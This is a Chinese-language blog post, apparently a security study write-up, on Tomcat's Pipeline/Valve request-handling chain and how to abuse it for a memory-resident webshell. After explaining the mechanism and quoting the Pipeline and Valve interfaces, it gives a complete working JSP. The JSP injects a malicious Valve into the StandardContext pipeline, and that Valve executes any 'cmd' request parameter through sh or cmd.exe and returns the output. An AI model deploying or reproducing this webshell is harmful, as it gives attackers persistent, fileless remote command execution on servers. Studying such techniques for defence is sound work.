0x00 前言
Valve型内存马比较简单,但是十分便捷,其不需要指定路由,在接受请求还尚未解析路径时即可发挥作用。
0x01 Valve概述
建议阅读枫神的相关内容:Java安全学习——内存马-枫のBlog,
Tomcat管道机制
当Tomcat接收到客户端请求时,首先由Connector组件负责接收并解析请求数据,将其封装为Request和Response对象。随后,Connector通过CoyoteAdapter将请求传递给Catalina的顶层Container(Engine)。请求依次经过Engine、Host、Context、Wrapper四级容器的处理链,每一级根据请求信息选择合适的子容器,最终由Wrapper中的Servlet进行具体处理。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
Pipeline接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package org.apache.catalina;
import java.util.Set;
public interface Pipeline extends Contained {
Valve getBasic();
void setBasic(Valve valve);
void addValve(Valve valve);
Valve[] getValves();
void removeValve(Valve valve);
Valve getFirst();
boolean isAsyncSupported();
void findNonAsyncValves(Set<String> result); }
|
关注Pipeline接口的addValve方法,我们可以通过该方法来添加一个Valve。
Valve接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package org.apache.catalina;
import java.io.IOException;
import jakarta.servlet.ServletException;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response;
public interface Valve {
Valve getNext();
void setNext(Valve valve);
void backgroundProcess(); void invoke(Request request, Response response) throws IOException, ServletException; boolean isAsyncSupported(); }
|
getNext方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。

Valve可以通过重写invoke方法来实现具体的业务逻辑,这也是恶意代码存放的地方。

0x02 Valve流程分析
断点直接打在CoyoteAdapter类的service方法,此时消息已经传递到Connector且被解析。直接看到这里:

这样表示更清晰一点:
1
| StandardService->StandardService->StandardEngine->StandardPipeline->StandardEngineValve.invoke(request, response)
|
至于恶意Valve被加载到内存后如何被调用,倒是调试不到。
0x03 构造内存马
根据上文,我们不难想到Valve型内存马的构造流程:
- 编写恶意Valve
- 获得StandardContext,进而获得StandardPipeline
- 把恶意Valve放入StandardPipeline里
直接给出jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <%@ page import="org.apache.catalina.Valve" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Pipeline" %> <%! public class Valve2 implements Valve {
@Override public Valve getNext() { return null; } @Override public void setNext(Valve valve) {}
@Override public void backgroundProcess() {}
@Override public void invoke(Request req, Response resp) throws IOException, ServletException { if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } }
@Override public boolean isAsyncSupported() { return false; } } %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Pipeline pipeline = context.getPipeline(); Valve2 valve2 = new Valve2(); pipeline.addValve(valve2); %>
|
0x04 小结
Timer型内存马和Executor内存马就不讲了,自行了解即可。